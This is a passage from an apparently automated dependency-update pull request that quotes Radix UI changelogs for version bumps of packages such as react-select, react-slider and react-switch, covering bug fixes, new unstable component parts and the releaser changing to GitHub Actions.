\u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/progress\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-progress\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-radio-group` from 1.3.8 to 1.4.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/radio-group/CHANGELOG.md\"\u003e@​radix-ui/react-radio-group's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.4.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded unstable \u003ccode\u003eRadioGroupItemProvider\u003c/code\u003e, \u003ccode\u003eRadioGroupItemTrigger\u003c/code\u003e and \u003ccode\u003eRadioGroupItemBubbleInput\u003c/code\u003e parts. These expose the previously internal composition of a radio item (context provider, the interactive control, and the hidden form input) so consumers can directly access and recompose them. The \u003ccode\u003eRadioGroupItem\u003c/code\u003e component continues to render them by default.\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/radio-group\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-radio-group\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-scroll-area` from 1.2.10 to 1.2.14\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/scroll-area/CHANGELOG.md\"\u003e@​radix-ui/react-scroll-area's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003e--radix-scroll-area-corner-width\u003c/code\u003e and \u003ccode\u003e--radix-scroll-area-corner-height\u003c/code\u003e not resetting to \u003ccode\u003e0\u003c/code\u003e when the corner is removed (eg. when one of the scrollbars is no longer visible). Previously these values would stick around and leave a permanent gap on the remaining scrollbar.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eStabilized the viewport style tag unless the nonce changes.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eDuplicate index signature\u003c/code\u003e errors that surfaced when consuming multiple packages together.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing \u003ccode\u003edata-state\u003c/code\u003e attribute for Scroll Area scrollbars\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/scroll-area\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-scroll-area\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-select` from 2.2.6 to 2.3.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/select/CHANGELOG.md\"\u003e@​radix-ui/react-select's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAllowed a \u003ccode\u003eSelect.Item\u003c/code\u003e with an empty string value to act as a \u0026quot;clear\u0026quot; option. Selecting it resets the selection back to the placeholder, restoring the native \u003ccode\u003e\u0026lt;select\u0026gt;\u003c/code\u003e behavior for optional selects.\u003c/li\u003e\n\u003cli\u003eFixed a bug where typeahead search resulted in focusing an element that no longer exists.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded unstable \u003ccode\u003eProvider\u003c/code\u003e and \u003ccode\u003eBubbleInput\u003c/code\u003e parts to Select. \u003ccode\u003eSelect.unstable_Provider\u003c/code\u003e sets up Select's context and state without implicitly rendering the hidden native \u003ccode\u003eselect\u003c/code\u003e, and \u003ccode\u003eSelect.unstable_BubbleInput\u003c/code\u003e exposes that previously internal native \u003ccode\u003eselect\u003c/code\u003e so consumers can recompose it explicitly. \u003ccode\u003eSelect\u003c/code\u003e continues to render both by default.\u003c/li\u003e\n\u003cli\u003eAdded support for presence-based exit animations in Select\u003c/li\u003e\n\u003cli\u003eFixed Select hidden input so it submits empty string when no value is selected\u003c/li\u003e\n\u003cli\u003eFixed placeholder rendering when a controlled Select is reset to an empty value\u003c/li\u003e\n\u003cli\u003eAdded missing \u003ccode\u003e__selectScope\u003c/code\u003e prop to \u003ccode\u003ePopperContent\u003c/code\u003e component\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSelect\u003c/code\u003e closing unexpectedly after touch-scrolling its content when rendered inside an open shadow DOM\u003c/li\u003e\n\u003cli\u003eFixed a bug where iOS text selection and editing on HTML inputs within \u003ccode\u003ereact-dialog\u003c/code\u003e were broken\u003c/li\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSelectValue\u003c/code\u003e logging invalid prop errors when used with both \u003ccode\u003easChild\u003c/code\u003e and a placeholder\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/select\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-select\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-separator` from 1.1.8 to 1.1.11\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/separator/CHANGELOG.md\"\u003e@​radix-ui/react-separator's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/separator\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-separator\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-slider` from 1.3.6 to 1.4.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/slider/CHANGELOG.md\"\u003e@​radix-ui/react-slider's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.4.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed keyboard stepping skipping a valid value when the current value is off the step grid (eg, a \u003ccode\u003edefaultValue\u003c/code\u003e that isn't a multiple of \u003ccode\u003estep\u003c/code\u003e from \u003ccode\u003emin\u003c/code\u003e). Stepping now snaps to the next step-aligned value in the direction of travel, matching native \u003ccode\u003e\u0026lt;input type=\u0026quot;range\u0026quot;\u0026gt;\u003c/code\u003e behavior.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDuplicate index signature\u003c/code\u003e errors that surfaced when consuming multiple packages together.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded unstable \u003ccode\u003eThumbProvider\u003c/code\u003e, \u003ccode\u003eThumbTrigger\u003c/code\u003e, and \u003ccode\u003eBubbleInput\u003c/code\u003e parts to Slider. \u003ccode\u003eSliderThumb\u003c/code\u003e was previously a single component that implicitly rendered a hidden native input for form submission. It is now composed from these new parts, which are exposed so consumers can decouple the bubble input from the thumb (for example, to render or customize it independently) instead of relying on \u003ccode\u003eSliderThumb\u003c/code\u003e to render it implicitly. \u003ccode\u003eSliderThumb\u003c/code\u003e continues to render all three by default, so existing usage is unaffected.\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003efocusVisible\u003c/code\u003e for non-keyboard interactions with slider thumbs for progressively enabling styles using \u003ccode\u003e:focus-visible\u003c/code\u003e alongside programmatic focus management\u003c/li\u003e\n\u003cli\u003eFixed Slider focus bugs in scrollable context\u003c/li\u003e\n\u003cli\u003eFixed a Slider bug where very small \u003ccode\u003estep\u003c/code\u003e values made the thumbs unresponsive\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/slider\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-slider\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-slot` from 1.2.4 to 1.3.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/slot/CHANGELOG.md\"\u003e@​radix-ui/react-slot's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded generic type arguments for \u003ccode\u003eSlotProps\u003c/code\u003e and \u003ccode\u003ecreateSlot\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eSlotProps\u003c/code\u003e and \u003ccode\u003ecreateSlot\u003c/code\u003e now accept generic type arguments to specify the type of element a slot should render, as well as its props.\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003econst Slot = createSlot\u0026lt;HTMLButtonElement, MyCustomButtonProps\u0026gt;('Slot');\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e1.2.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by \u003ccode\u003eSlot\u003c/code\u003e creating a new ref callback on every render\u003c/li\u003e\n\u003cli\u003eAdded support for nested \u003ccode\u003eSlottable\u003c/code\u003e via a render prop, so a slotted element can be wrapped while still merging Slot props and refs onto it\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eImproved error messages for invalid slot children\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/slot\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-slot\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-switch` from 1.2.6 to 1.3.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/switch/CHANGELOG.md\"\u003e@​radix-ui/react-switch's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded unstable \u003ccode\u003eProvider\u003c/code\u003e, \u003ccode\u003eTrigger\u003c/code\u003e and \u003ccode\u003eBubbleInput\u003c/code\u003e parts to Switch. These expose the previously internal composition (context provider, the interactive control, and the hidden form input) so consumers can directly access and recompose them. The \u003ccode\u003eSwitch\u003c/code\u003e component continues to render them by default.\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: 